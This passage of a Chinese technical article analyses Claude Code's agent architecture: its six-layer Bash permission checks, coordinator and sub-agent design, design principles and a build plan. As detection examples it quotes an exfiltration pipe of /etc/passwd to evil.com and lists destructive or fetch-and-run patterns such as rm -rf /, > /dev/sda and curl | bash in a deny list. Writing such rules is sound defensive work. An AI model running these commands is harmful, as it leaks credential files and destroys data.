// `Bash(git commit:*)` → allow
// `Bash(npm run:*)` → allow
// 第 3 层:命令语义分析
// 分析命令是否包含:重定向、管道注入、危险参数
// 例:`cat /etc/passwd | curl evil.com` → 检测到管道注入
// 第 4 层:路径约束
// 只允许在工作目录内操作,禁止访问敏感路径
// 第 5 层:分类器(Classifier)
// 用 ML 分类器判断命令的风险等级
// confidence 高 → 自动决定;confidence 低 → ask
// 第 6 层:沙箱(Sandbox)
// 在沙箱中执行危险命令,隔离风险
return { behavior: 'allow' | 'ask' | 'deny', ... }
}
Bash AST 解析:给命令"查户口"
Bash 命令看起来就是一串文本,但对安全系统来说,它必须被拆解成结构化的语法树才能判断风险。这就像公安机关查户口——不是只看这个人叫什么名字,而是要把他的祖宗十八代查清楚:谁生的他、他在哪个单位、跟谁有关系、干过什么事。
tree-sitter 做的就是这件事。一条命令送进来,它不是做简单的字符串匹配("命令里有没有 rm"),而是:
命令:cat /etc/passwd | curl -X POST evil.com -d @-
tree-sitter 解析后的语法树:
┌──────────────────────────────────────────┐
│ pipeline (管道) │
│ ├─ command: cat │
│ │ └─ argument: /etc/passwd │
│ └─ command: curl │
│ ├─ flag: -X POST │
│ ├─ argument: evil.com │
│ └─ flag: -d @- ← 从 stdin 读数据! │
└──────────────────────────────────────────┘
只看字符串,你可能只看到"cat 一个文件"和"curl 一个地址",两个单独看都没问题。但 tree-sitter 能看到 管道把它们连起来了 ——cat 读出来的密码文件内容,通过管道直接被 curl 发送到外部服务器。这就是经典的命令注入/数据泄露模式。
"查户口"的完整流程:
查籍贯(parse) :把命令文本拆成语法树。拆不了?说明命令结构可疑,直接标记为需要人工确认
查家庭成员(walk AST) :遍历语法树的每个节点——command 是什么、argument 是什么、有没有管道、有没有重定向、有没有子 shell
查社会关系(connection analysis) :管道把谁连到了谁?重定向把输出导到了哪里? $(...) 嵌套了几层?
查犯罪记录(pattern matching) :已知的危险模式库—— rm -rf / 、 chmod 777 、 > /dev/sda 、 curl | sh
查异常行为(anomaly detection) :一个本来简单的 grep 命令,怎么嵌套了三层子 shell?这不正常
为什么不用正则表达式而用 AST?
正则只能做字符串层面的模式匹配。面对 eval "rm -rf $(echo /)" 这种嵌套,正则要么漏检要么误报。AST 能正确解析嵌套结构,不管你包了几层 eval、多少个引号、多少个转义字符,拆出来的语法树是准确的。
6 层纵深防御:每层都有独立判断力
上面列了 6 层,但它们不是简单的"全过了才放行"。每层都有独立的决策权:
层
名称
做什么
决策权
类比
0
AST 解析
拆语法树,检测结构异常
解析失败 → 拒绝
海关验护照——护照都看不懂,直接不让进
1
精确匹配
用户配置的黑白名单
命中 → 直接决定
黑名单上的人——不管别的,就是不让进
2
前缀匹配
git commit:* → allow
命中 → 直接决定
VIP 通道——认识这张脸,直接放行
3
语义分析
检测管道注入、重定向、危险参数
发现异常 → 拒绝或 ask
安检扫描——包里有可疑物品,开包检查
4
路径约束
只允许工作目录内操作
越界 → 拒绝
围栏——你只能在这个区域活动
5
ML 分类器
综合判断风险等级
confidence 高 → 决定,低 → ask
经验丰富的安检员——说不清就叫主管
设计要点:
任何一层拒绝,整条命令就死了 。不是"6 层都过了才执行",而是"任何一层说不行就不行"。这就是纵深防御的精髓——攻击者必须突破所有层,而不是只需要绕过一层
Fail-safe 默认值是"拒绝" 。解析失败?拒绝。分类器不确定?ask(不直接放行)。规则没覆盖?默认 ask。宁可多问一次用户,也不能默认放行
层与层之间是独立的 。AST 解析不依赖规则库,规则不依赖分类器。即使分类器被对抗样本骗了,AST 层和规则层仍然能挡住已知攻击模式
层层递进,逐步放行 。Layer 0 保证命令结构合法,Layer 1-2 处理明确的白名单,Layer 3-4 分析语义和路径,Layer 5 兜底判断。从粗到细,从快到慢
权限模式(PermissionMode):
default :标准权限,高风险操作需要确认
planMode :只读模式,不允许任何修改操作
bypassPermissions :跳过所有权限检查(仅特殊场景)
autoMode :自动模式,根据分类器自动决定
每种工具都有自己的权限类型标注:
isReadOnly :只读工具(Grep、Glob、FileRead)默认允许
isDestructive :危险工具(FileWrite、Bash 中的 rm)需要额外确认
isConcurrencySafe :并行安全工具可以批量执行
评价
好在哪:
6 层防线,纵深防御 。不是靠单一检查,而是 AST 解析→规则匹配→语义分析→路径约束→分类器→沙箱,层层递进
规则系统灵活 。支持精确匹配、前缀匹配、通配符,用户可以细粒度配置
tree-sitter 做 AST 解析 。比正则表达式可靠得多,能正确处理嵌套引号、管道、重定向
分类器+规则的混合决策 。规则覆盖不了的用分类器兜底,分类器不确定的 ask
差在哪:
规则系统复杂度爆炸 。精确匹配、前缀、通配符、env var 过滤、wrapper 剥离——组合起来调试非常痛苦
分类器是黑盒 。用户不知道为什么某个命令被 allow 或 deny,缺乏可解释性
沙箱不是默认开启 。默认在宿主机上执行,沙箱是可选的——大多数用户可能根本没开
对我们的启发
安全必须纵深防御 。单点检查一定会被绕过,多层防线是唯一可靠的方案
规则系统要简单 。Claude Code 的规则系统太复杂了——精确匹配+前缀+通配符+env var+wrapper,建议简化为"命令前缀白名单 + 危险命令黑名单"
分类器是必要的补充 。规则覆盖不了所有场景,ML 分类器可以兜底。但要给用户看分类器的判断理由
沙箱应该默认开启 。在容器里跑命令的成本远小于在宿主机上跑 rm -rf 的风险
架构图
┌──────────────────────────────────────────────────────┐
│ Permission System Layers │
│ │
│ Bash 命令提交 │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 0: AST 解析 (tree-sitter) │ │
│ │ 检测命令注入、复杂结构、解析失败 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 1: 精确匹配规则 │ │
│ │ deny / allow / ask 黑白名单 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 2: 前缀 + 通配符 │ │
│ │ Bash(git commit:*) → allow │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 3: 语义分析 │ │
│ │ 管道注入、重定向、危险参数检测 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 4: 路径约束 │ │
│ │ 工作目录内操作,禁止敏感路径 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 5: ML 分类器 │ │
│ │ 自动判断风险等级 (confidence-based) │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 6: 沙箱执行 │ │
│ │ 容器隔离,限制风险 │ │
│ └─────────────────────────────────────────────┘ │
│ │
│ 结果:allow → 直接执行 | ask → 弹窗确认 | deny → 拒绝 │
└──────────────────────────────────────────────────────┘
8. Coordinator:多 Agent 的调度中心
这解决什么问题
当你同时有 5 个子 Agent 在跑——一个在查 bug、一个在改代码、一个在跑测试、一个在查文档、一个在写报告——你需要一个"项目经理"来协调它们。谁先谁后、谁等谁的结果、失败了怎么办、结果怎么汇总?
Coordinator 就是这个项目经理:它自己不干活,只调度工人。
Claude Code 怎么做的
Coordinator 是一个专门的系统提示词模式,通过环境变量 CLAUDE_CODE_COORDINATOR_MODE 开启。核心在 coordinatorMode.ts :
// coordinatorMode.ts — Coordinator 的核心调度逻辑
// 协调者能用的工具只有三个:派工人、继续工人、停止工人
const COORDINATOR_TOOLS = ['AgentTool', 'SendMessageTool', 'TaskStopTool'];
// Continue vs. Spawn 决策:根据上下文重叠度判断
function shouldContinueWorker(
task: TaskDescription,
existingWorkers: Worker[]
): 'continue' | 'spawn' {
const bestMatch = findBestWorker(task, existingWorkers);
if (!bestMatch) return 'spawn'; // 没有合适的工人
const overlap = computeContextOverlap(task, bestMatch.context);
if (overlap > 0.7) return 'continue'; // 高重叠 → 继续
return 'spawn'; // 低重叠 → 派新的
}
// 工人完成后,协调者汇总结果
async function handleWorkerComplete(notification: TaskNotification) {
// notification 格式: XML
const { taskId, status, summary, result, usage } = parseNotification(notification);
if (status === 'completed') {
// 汇总到主结果池,准备下一轮调度
resultPool.merge(taskId, result);
logUsage(usage);
} else {
// 失败 → 决定重试、换方法、还是告诉用户
await handleFailure(taskId, result);
}
}
最有价值的设计是 Continue vs. Spawn 决策:
研究探索的文件和要改的文件一样 → Continue(继续同一个工人)
研究很广但实现很窄 → Spawn fresh(派新工人,避免噪声)
修正失败或扩展最近工作 → Continue(工人有错误上下文)
验证别人写的代码 → Spawn fresh(新鲜视角)
第一版用了完全错的方法 → Spawn fresh(清空重来)
完全无关的任务 → Spawn fresh
工人通知机制用 XML 格式:
agent-a1b
completed
Agent "Investigate auth bug" completed
Found null pointer in src/auth/validate.ts:42...
N
N
N
评价
好在哪:
调度逻辑全在提示词里 。没有硬编码的工作流引擎,靠 LLM 理解和执行调度规则。这很"Agent"——用 AI 管理 AI
Continue vs. Spawn 决策框架非常实用 。这个二维判断(上下文重叠度高不高)比任何硬编码规则都灵活
"汇总是协调者最重要的工作" 。这条规则防止了"工人直接向工人汇报"的死循环——所有信息流经协调者
并行是默认 。"Workers are async. Launch independent workers concurrently."——把并行写进系统提示词,而不是靠代码实现
差在哪:
纯提示词调度有上限 。复杂的工作流依赖(DAG)用提示词表达很脆弱,LLM 可能理解错依赖关系
没有超时和资源管理 。提示词里没提到工人超时、token 预算、并发数量限制
Scratchpad 机制太简单 。工人间共享信息靠文件系统,没有结构化的消息队列
对我们的启发
协调者不干活,只调度 。这个角色分离是关键——协调者的 token 应该花在分析和调度上,不是花在执行上
Continue vs. Spawn 是核心决策 。上下文重叠度是判断标准——重叠高就继续,低就新建。这个框架可以复用
通知机制要标准化 。XML 格式的 task-notification 比自由文本可靠,便于解析和处理
并行要写进系统提示词 。不要只在代码里支持并行,要让 LLM 理解"并行是默认策略"
架构图
┌──────────────────────────────────────────────────────┐
│ Coordinator Mode │
│ │
│ ┌─────────────────────────────────────────────┐ │
│ │ Coordinator (协调者 - LLM) │ │
│ │ 角色:调度、汇总、与用户沟通 │ │
│ │ 工具:AgentTool / SendMessage / TaskStop │ │
│ └──────────┬──────────────────┬───────────────┘ │
│ │ │ │
│ Continue? Spawn? │
│ (上下文重叠高) (上下文重叠低) │
│ │ │ │
│ ┌────────▼───┐ ┌──────▼──────┐ │
│ │ SendMessage │ │ AgentTool │ │
│ │ (继续工人) │ │ (派新工人) │ │
│ └────────┬───┘ └──────┬──────┘ │
│ │ │ │
│ ┌────────┴──────────────────┴───────────────┐ │
│ │ Workers (工人 - 异步执行) │ │
│ │ ┌────────┐ ┌────────┐ ┌────────┐ │ │
│ │ │Research│ │Implement│ │Verify │ │ │
│ │ │ 调研 │ │ 实现 │ │ 验证 │ │ │
│ │ └────────┘ └────────┘ └────────┘ │ │
│ │ │ │
│ │ 通知格式: XML │ │
│ └───────────────────────────────────────────┘ │
│ │
│ 工作流:Research(并行) → Synthesis → Implement → Verify│
└──────────────────────────────────────────────────────┘
9. 设计范式总结
读完 Claude Code 源码,我提炼出 10 条 Agent 产品设计原则。
原则 1:循环极简,复杂度外推
Agent Loop 本身应该是一个最简单的 while 循环。真正的复杂度在工具、提示词和调度策略里,不在循环结构上。越简单的循环越不容易出 bug。
Claude Code 对应: query.ts 里的主循环只有三步——调 LLM、收工具调用、执行工具。所有业务逻辑都在工具实现和系统提示词里,循环本身不包含任何领域知识。
对其他产品的启发: 这跟 Unix 管道的哲学一样——核心调度器保持简单,复杂性下沉到可组合的工具。如果你发现自己的 Agent Loop 超过 100 行,大概率是在循环里塞了不该塞的东西。任何 Agent 框架都应该把 loop 当作"无脑转发器"来写。
Checklist:
Agent Loop 是否不超过 50 行核心代码?
是否所有状态都存在 messages 队列里?
循环是否无状态(每轮从 messages 读、往 messages 写)?
循环里有没有硬编码的业务逻辑?
循环能否在不改代码的情况下接入新工具?
原则 2:工具是 Agent 的手,提示词是 Agent 的脑
工具决定了 Agent 能做什么,提示词决定了 Agent 什么时候做、怎么做。花在写工具提示词上的时间,应该不少于花在写工具代码上的时间。
Claude Code 对应: 每个工具( BashTool 、 FileEditTool 等)都有详细的 description 和 whenToUse 字段。系统提示词里对每个工具的使用场景、限制条件、安全规则都做了长篇幅的说明。工具注册时必须同时提供 JSON Schema 和描述文本。
对其他产品的启发: 大多数 Agent 框架犯的错误是"写了个工具函数就完事了"。实际上工具描述才是产品的核心资产。ChatGPT 的 Plugin / Function Calling 生态之所以做起来了,就是因为工具描述遵循了统一的 schema 规范。你的工具描述质量,直接决定 Agent 的智商上限。
Checklist:
每个工具是否有清晰的 whenToUse 描述?
工具提示词是否包含安全规则和最佳实践?
危险操作是否在提示词里明确标注?
工具描述是否经过实际场景验证?
新工具是否经过"LLM 能不能正确理解"的测试?
原则 3:元信息是调度的前提
每个工具必须标注 isReadOnly 、 isConcurrencySafe 、 isDestructive 。这些元信息直接决定了调度策略,不需要在调度层硬编码。
Claude Code 对应: Tool.ts 接口要求每个工具实现这三个布尔属性。 toolOrchestration.ts 根据这些标注自动分区: isReadOnly && isConcurrencySafe 的工具并行执行,其他的串行。新增工具不需要改调度逻辑。
对其他产品的启发: 这其实是声明式编程的经典思路——你描述"是什么"而不是"怎么做"。Kubernetes 的 Pod label、React 的 key prop、数据库的索引 hint,本质上都是这个模式。Agent 系统里,工具元信息就是调度器的索引——没有它,调度层只能硬编码。
Checklist:
每个工具是否都有这三个标注?
标注是否准确(特别是并行安全性)?
新增工具时是否有 lint 规则检查这些标注?
标注是否影响了实际的调度行为?
是否有测试验证标注的正确性?
原则 4:纵深防御,不要单点信任
权限系统必须多层。靠单一检查(比如"命令前缀匹配")一定会被绕过。AST 解析 + 规则匹配 + 分类器 + 沙箱,层层递进。
Claude Code 对应: bashPermissions.ts 实现了 6 层防御:AST 解析(tree-sitter)→ 精确匹配规则 → 前缀/通配符匹配 → 语义分析(注入检测)→ 路径约束 → ML 分类器 + 沙箱。任何一层拒绝,命令就不会执行。AST 解析失败时,默认行为是拒绝。
对其他产品的启发: 安全领域有一句话——"攻击者总会找到你没想到的路径"。所以不要指望一层防御挡住所有攻击。类比 Web 安全的纵深防御(WAF + CSP + CORS + 输入校验 + 输出编码),Agent 的权限系统也应该多层。特别注意:fail-safe 默认值必须是"拒绝",不能是"允许"。
Checklist:
安全检查是否有至少 3 层?
是否有 fail-safe(解析失败时默认拒绝)?
危险操作是否有日志和审计?
每层防御是否有独立的绕过测试?
是否有定期的红队测试?
原则 5:上下文是消耗品,不是资产
上下文窗口会用完。多级降级(compact → reactive → collapse)是刚需。token 追踪是基础设施,不是优化项。
Claude Code 对应: 上下文管理模块实现了三级降级: autoCompact (自动压缩历史对话)→ reactiveCompact (响应式压缩,按需触发)→ contextCollapse (上下文坍缩,只保留最关键信息)。每级都有 token 预算追踪,分为任务级和轮级两层。
对其他产品的启发: 很多团队把上下文管理当作"优化项",觉得先不管也能用。这是错的。上下文窗口一旦满了,Agent 就会"失忆",之前做的所有工作都白费。上下文管理应该在产品设计阶段就考虑,而不是等到出了问题再补。就像内存管理——你不会等到 OOM 才想 GC 的事。
Checklist:
是否有 token 实时追踪?
是否有多级压缩/降级策略?
压缩边界是否有标记便于审计?
是否有任务级和轮级两级预算?
压缩后信息丢失是否有补偿机制?
原则 6:子 Agent 就是完整的 Agent
不要搞"轻量版"和"完整版"两套。子 Agent 复用主 Agent 的核心循环,只是输入不同。维护两套代码的成本远大于"多传几个参数"的成本。
Claude Code 对应: runAgent() 函数直接调用 query() 函数——子 Agent 和主 Agent 用的是同一套循环、同一套工具接口、同一套权限系统。区别只在输入参数:子 Agent 传入的是精简过的系统提示词和任务描述,而不是完整的对话历史。
对其他产品的启发: 这就是组合模式(Composite Pattern)在 Agent 架构里的应用。子 Agent 不是"阉割版",而是"同一类的另一个实例"。就像递归函数——base case 和 recursive case 用同一套逻辑。AutoGPT 早期犯的错误就是子 Agent 和主 Agent 用不同逻辑,导致行为不一致、难以调试。
Checklist:
子 Agent 是否复用主 Agent 的 query 函数?
子 Agent 是否有完整的工具集和权限系统?
是否有嵌套深度限制?
子 Agent 的系统提示词是否经过单独优化?
子 Agent 的输出格式是否标准化?
原则 7:并行是默认,串行是例外
读操作天然并行安全,写操作需要串行。按安全性分区,能并行的并行。流式返回让并行的收益体现在用户感知上。
Claude Code 对应: toolOrchestration.ts 在收到多个工具调用时,先按 isReadOnly 分区:读操作全部并行(用 Promise.all ),写操作按顺序执行。流式响应让并行的收益直接体现在用户感知上——用户不需要等所有工具执行完就能看到部分结果。
对其他产品的启发: 大多数 Agent 框架默认串行执行工具调用,这浪费了大量时间。并行执行的前提是工具元信息准确——你得知道哪些工具可以并行。这又回到了原则 3。流式返回也很关键:并行执行如果没有流式返回,用户感知上还是"等了很久然后一下全出来"。
Checklist:
工具调度是否自动分区(读/写)?
并行上限是否有合理配置?
流式返回是否启用?
并行工具之间是否有依赖检测?
并行失败时是否有降级到串行的机制?
原则 8:协调者不干活
调度和执行必须分离。协调者的 token 花在分析和调度上,不花在执行上。工人完成后汇报给协调者,协调者汇总后告诉用户。
Claude Code 对应: Coordinator 模式下,主 Agent(协调者)的系统提示词明确写了"你负责调度,不负责执行"。工人完成后通过标准化的 XML 通知格式汇报。协调者的工具集被限制——不能直接执行文件编辑,只能派工人。
对其他产品的启发: 类比工地上的工头——工头不搬砖,因为他要同时看全局:哪组人进度慢了、材料够不够、下一步先做哪个。如果工头自己也去砌墙,他就没人盯着调度了。Agent 协调者同理:token 就是注意力,花在执行细节上就没法做好调度。而且协调者和工人用同样的工具,会产生冲突(两个 Agent 同时编辑同一个文件就是灾难)。
Checklist:
协调者是否有明确的"不执行"规则?
工人通知是否标准化?
Continue vs. Spawn 决策是否有框架?
协调者的工具集是否被限制?
是否有工人之间的冲突检测?
原则 9:记忆要自动整理,但要可审计
自动提取和整理是正道,但用户要能看到记忆、编辑记忆、删除记忆。记忆要有生命周期,过期自动降权。
Claude Code 对应: memdir/ 目录存储持久化记忆。 consolidationPrompt 在对话结束时自动从对话中提取关键信息。 findRelevantMemories 在新对话开始时根据语义相似度检索相关记忆。记忆文件是纯文本,用户可以直接查看和编辑。
对其他产品的启发: 记忆系统的最大风险是"幻觉记忆"——Agent 把错误信息记住了,然后在后续对话中当作事实引用。所以可审计比自动整理更重要。用户必须能看见 Agent 记住了什么,并且能删除错误的记忆。类比搜索引擎的索引——你能搜索到什么,取决于索引里有什么;你能信任什么,取决于你能审计索引。
Checklist:
记忆是否自动从对话中提取?
用户是否能看到和编辑记忆?
记忆是否有过期机制?
记忆提取是否有质量检查?
是否有记忆冲突检测?
原则 10:提示词是产品,不是代码注释
工具提示词就是产品文档。它决定 LLM 的行为质量。写提示词要用产品思维——考虑用户(LLM)的理解成本、决策路径、错误恢复。
Claude Code 对应: Claude Code 的系统提示词经过大量迭代,每个工具的描述都包含:角色定位、使用条件、输入约束、输出格式、安全规则、常见错误、错误恢复策略。这不是"代码注释",而是精心设计的产品文档。
Checklist:
提示词是否有明确的结构(角色→规则→示例→边界)?
是否包含错误处理指引?
是否经过实际场景测试?
提示词是否区分了"什么时候用"和"怎么用"?
是否有针对常见误用的纠偏说明?
原则 11:工具的 description 是给 LLM 看的产品手册
大多数 Agent 框架把工具 description 当成 API 文档来写——一行话说明这个工具干什么。但 LLM 不是程序员,它不会去猜你没写的意思。工具 description 应该是产品手册:场景 → 决策树 → 示例 → 红线。
Claude Code 对应: BashTool 的 description 不只是"执行 bash 命令",而是一整套使用指南——什么时候该用 bash 而不是其他工具、git 操作的 5 步 SOP、绝对不能做的事情(NEVER force push)、并行执行的提示。FileEditTool 的 description 会根据当前编辑模式变化(insert/replace/delete),动态适配 LLM 的决策需求。
对其他产品的启发: 你给一个新员工写操作手册,不会只写"用 Excel 做表"。你会写"数据量小于 1000 行用 Excel,大于 1000 行用 Python,导出格式选 CSV,千万别选 XLS(兼容性差)"。LLM 就是那个新员工,工具 description 就是操作手册。写得越详细、决策路径越短,Agent 执行质量越高。反过来,description 写得模糊,Agent 就会频繁犯低级错误——不是因为模型不行,是因为你没教它。
Checklist:
工具 description 是否回答了"什么时候用"而不只是"干什么"?
是否包含具体的使用示例?
是否有明确的红线(NEVER / 不要 / 禁止)?
description 是否区分了"怎么用"和"什么时候不该用"?
高风险工具的 description 是否包含 SOP 流程?
原则 12:上下文窗口是 Agent 的工作台,不是仓库
把 context window 想象成物理的工作台——面积有限,你只能在上面放正在用的东西。用完的文件要收进抽屉(持久化记忆),不重要的草稿要扔掉(compact),新的任务要用新空间。
Claude Code 对应: Claude Code 的多级降级(compact → reactive → context collapse)本质上是在管理工作台空间。Prompt caching 的前缀复用是"把常用的工具固定放在桌角"——不挪位置就能快速拿到。Compact 是"把桌上堆了三天的旧文件收起来,写个标签"。Context collapse 是"桌子彻底满了,只好把所有东西都扫到地上,只留正在用的那一件"。
对其他产品的启发: 上下文里无关信息越多,LLM 的注意力越分散,决策质量反而下降("Lost in the Middle"效应)。正确的思路是"最小上下文原则"——只给 Agent 当前任务必需的信息。
Checklist:
每轮对话的 token 消耗是否有实时追踪?
是否遵循"最小上下文"原则(不往 context 里塞无关信息)?
系统提示词是否放在最前面且尽量稳定(最大化 prompt cache 命中)?
工具描述是否按需加载(defer / search),而不是全量塞入?
Compact 后是否保留了最近几轮的原始对话(保护 prompt cache)?
10. 如果我来做 Agent 产品
基于以上分析,如果从零开始做一个 Agent 产品,我会按 6 周拆开,每周有明确的交付物和验收标准。
第一步:最小可行 Agent Loop(第一周)
目标: 能跑通"用户输入 → LLM 思考 → 工具执行 → 返回结果"的基本循环。不需要好看,能跑就行。
目录结构:
agent/
├── loop.ts ← 核心 Agent Loop,不超过 50 行
├── types.ts ← Message、ToolCall、ToolResult 类型定义
├── tools/
│ ├── index.ts ← 工具注册表
│ ├── bash.ts ← 执行 shell 命令
│ ├── file_read.ts ← 读文件
│ ├── file_write.ts ← 写文件
│ ├── web_search.ts ← 搜索(先用现成 API)
│ └── todo.ts ← 待办管理
├── llm.ts ← LLM 调用封装(支持流式)
└── index.ts ← 入口,CLI / HTTP 都行
核心代码结构:
// loop.ts —— 这就是整个 Agent Loop
async function* agentLoop(messages: Message[], tools: Tool[]): AsyncGenerator {
while (true) {
// 1. 调 LLM(流式)
const response = await streamLLM(messages, tools);
// 2. 收集工具调用
const toolCalls = collectToolCalls(response);
if (toolCalls.length === 0) {
// LLM 决定不再调工具,对话结束
yield { type: 'done', content: response.text };
return;
}
// 3. 执行工具(先全部串行,后面再优化)
for (const call of toolCalls) {
const tool = tools.find(t => t.name === call.name);
const result = await tool.execute(call.args);
messages.push({
role: 'tool',
tool_call_id: call.id,
content: JSON.stringify(result)
});
yield { type: 'tool_result', call, result };
}
}
}
工具接口定义:
// types.ts
interface Tool {
name: string;
description: string; // 给 LLM 看的描述
parameters: JSONSchema; // 参数 schema
isReadOnly: boolean; // 后面会用到
isConcurrencySafe: boolean; // 后面会用到
isDestructive: boolean; // 后面会用到
execute(args: Record): Promise;
}
验收标准:
命令行输入一句话,能返回 LLM 的回复
LLM 能调用至少 3 个工具
工具调用结果能正确返回给 LLM
支持流式输出
能处理工具执行异常(不崩)
第二步:工具系统(第二周)
目标: 让工具系统真正可用——描述准确、参数校验、错误恢复。
核心改造:
// tools/base.ts —— 抽象基类
abstract class BaseTool implements Tool {
abstract name: string;
abstract description: string;
abstract parameters: JSONSchema;
// 元信息标注——后面调度会用
abstract isReadOnly: boolean;
abstract isConcurrencySafe: boolean;
abstract isDestructive: boolean;
// 参数校验——在 execute 之前做
validate(args: Record): ValidationResult {
return validateSchema(this.parameters, args);
}
// 执行——子类实现
abstract execute(args: Record): Promise;
// 描述生成——自动从 metadata 生成给 LLM 的描述
getDescription(): string {
return `
${this.description}
参数:
${formatSchema(this.parameters)}
元信息:
- 只读:${this.isReadOnly}
- 并行安全:${this.isConcurrencySafe}
- 破坏性操作:${this.isDestructive}
${this.isDestructive ? '⚠️ 这是破坏性操作,执行前请确认。' : ''}
`.trim();
}
}
工具注册改为声明式:
// tools/index.ts
const TOOL_REGISTRY: Map = new Map();
function registerTool(tool: Tool): void {
// lint 检查:必须有三个元信息标注
if (tool.isReadOnly === undefined || tool.isConcurrencySafe === undefined || tool.isDestructive === undefined) {
throw new Error(`Tool ${tool.name} missing metadata annotations`);
}
TOOL_REGISTRY.set(tool.name, tool);
}
// 注册
registerTool(new BashTool());
registerTool(new FileReadTool());
registerTool(new FileWriteTool());
registerTool(new WebSearchTool());
registerTool(new TodoTool());
// 自动生成给 LLM 的工具列表
function getToolDescriptions(): string[] {
return Array.from(TOOL_REGISTRY.values()).map(t => t.getDescription());
}
验收标准:
所有工具有完整的 JSON Schema 定义
所有工具有三个元信息标注
参数校验在执行前完成
工具描述包含使用场景和安全规则
新增工具必须通过 lint 检查
第三步:权限系统(第三周)
目标: 命令执行有安全网。三层防御起步。
目录结构:
agent/
├── permissions/
│ ├── index.ts ← 权限检查入口
│ ├── rules.ts ← 黑白名单规则
│ ├── pattern.ts ← 前缀/通配符匹配
│ ├── sandbox.ts ← 沙箱执行
│ └── types.ts ← PermissionResult 类型
核心代码:
// permissions/index.ts
interface PermissionResult {
allowed: boolean;
reason: string;
layer: string; // 哪一层拒绝的
}
async function checkPermission(command: string): Promise {
// 第一层:规则匹配(黑白名单)
const ruleResult = checkRules(command);
if (!ruleResult.allowed) return { ...ruleResult, layer: 'rules' };
// 第二层:模式匹配(危险命令前缀)
const patternResult = checkPatterns(command);
if (!patternResult.allowed) return { ...patternResult, layer: 'pattern' };
// 第三层:沙箱检测(命令是否涉及敏感路径)
const sandboxResult = checkSandbox(command);
if (!sandboxResult.allowed) return { ...sandboxResult, layer: 'sandbox' };
// 全部通过
return { allowed: true, reason: 'All checks passed', layer: 'all' };
}
// BashTool 中集成
class BashTool extends BaseTool {
async execute(args: { command: string }): Promise {
const permission = await checkPermission(args.command);
if (!permission.allowed) {
// 拒绝 + 告知 LLM 哪一层拒绝的
return {
success: false,
error: `Permission denied by ${permission.layer}: ${permission.reason}`,
suggestion: 'Try a different approach or ask the user for permission.'
};
}
// 通过则执行
return await execCommand(args.command);
}
}
规则配置(用户可编辑):
# permissions/rules.yaml
rules:
deny:
- pattern: "rm -rf /"
- pattern: "curl * | bash"
- pattern: "sudo *"
allow:
- pattern: "ls *"
- pattern: "cat *"
- pattern: "git status"
ask:
- pattern: "git push *"
- pattern: "npm install *"
- pattern: "docker *"
验收标准:
危险命令被拦截,LLM 收到明确的错误信息
用户可通过配置文件自定义规则
每层拒绝都有日志记录
默认行为是拒绝(deny by default)
解析失败时拒绝(fail-safe)
第四步:上下文管理(第四周)
目标: 对话不会因为太长而崩溃。三层防御。
目录结构:
agent/
├── context/
│ ├── tracker.ts ← token 实时追踪
│ ├── compact.ts ← 自动压缩
│ ├── budget.ts ← token 预算管理
│ └── types.ts ← ContextState 类型
核心代码:
// context/tracker.ts
class TokenTracker {
private used: number = 0;
private budget: number;
constructor(budget: number) {
this.budget = budget;
}
track(messages: Message[]): void {
this.used = messages.reduce((sum, m) => sum + estimateTokens(m), 0);
}
getUsagePercent(): number {
return (this.used / this.budget) * 100;
}
// 三级告警
getStatus(): 'ok' | 'warning' | 'critical' | 'collapse' {
const pct = this.getUsagePercent();
if (pct < 60) return 'ok';
if (pct < 75) return 'warning';
if (pct < 90) return 'critical';
return 'collapse';
}
}
// context/compact.ts
async function autoCompact(messages: Message[], tracker: TokenTracker): Promise {
const status = tracker.getStatus();
switch (status) {
case 'ok':
return messages; // 不需要压缩
case 'warning':
// 轻度压缩:合并相邻的同角色消息
return mergeConsecutive(messages);
case 'critical':
// 中度压缩:用 LLM 总结历史对话
return await llmCompact(messages, { preserveLastN: 10 });
case 'collapse':
// 重度压缩:只保留系统提示词 + 最近 5 条 + 关键事实
return await contextCollapse(messages, { keepLastN: 5 });
}
}
在 Agent Loop 中集成:
// loop.ts(修改版)
async function* agentLoop(messages: Message[], tools: Tool[]) {
const tracker = new TokenTracker(MAX_TOKENS);
while (true) {
// 每轮开始前检查上下文
tracker.track(messages);
messages = await autoCompact(messages, tracker);
// 原有逻辑...
const response = await streamLLM(messages, tools);
// ...
}
}
验收标准:
60% / 75% / 90% 三级告警正常工作
压缩后 LLM 行为没有明显退化
压缩边界有标记(方便调试和审计)
用户可以查看当前 token 使用情况
压缩过程中不会丢失正在执行的任务
第五步:子 Agent 编排(第五周)
目标: 能派工人,并行执行,结果汇总。
目录结构:
agent/
├── agents/
│ ├── runner.ts ← 子 Agent 启动器
│ ├── coordinator.ts ← 协调者逻辑
│ ├── pool.ts ← 工人池管理
│ └── types.ts ← AgentTask / AgentResult 类型
核心代码:
// agents/runner.ts
// 关键:子 Agent 复用主 Agent 的 query 函数
async function runSubAgent(task: AgentTask): Promise {
const subMessages: Message[] = [
{ role: 'system', content: SUB_AGENT_SYSTEM_PROMPT },
{ role: 'user', content: task.description }
];
// 复用主循环!只是输入不同
const result = await collectAll(agentLoop(subMessages, getTools()));
return { taskId: task.id, result };
}
// agents/coordinator.ts
class Coordinator {
private pool: WorkerPool;
async handleRequest(userMessage: string): Promise {
// 1. 分析任务,决定是自己做还是派工人
const plan = await this.analyzeTask(userMessage);
if (plan.shouldDelegate) {
// 2. 派工人(并行)
const tasks = plan.subtasks.map(t => ({
id: generateId(),
description: t.description
}));
const results = await Promise.all(
tasks.map(task => runSubAgent(task))
);
// 3. 汇总结果
return await this.summarize(results);
} else {
// 简单任务,自己做
return await this.executeDirectly(userMessage);
}
}
}
通知协议(工人 → 协调者):
task-001
success
找到了 3 个相关文件并完成了分析
1523
验收标准:
协调者能把复杂任务拆成子任务派给工人
工人之间能并行执行
工人结果能正确汇总给用户
协调者本身不执行工具(只调度)
有嵌套深度限制(防止无限递归)
